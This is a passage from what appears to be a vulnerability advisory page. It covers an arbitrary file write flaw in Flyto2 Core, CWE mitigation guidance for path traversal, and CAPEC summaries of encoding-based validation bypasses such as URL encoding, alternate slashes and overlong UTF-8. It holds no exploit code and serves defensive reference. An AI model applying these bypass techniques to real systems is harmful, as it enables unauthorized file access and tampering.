"url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-2956-977x-2w3r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67429"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
},
{
"type": "PACKAGE",
"url": "https://github.com/flytohub/flyto-core"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)"
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.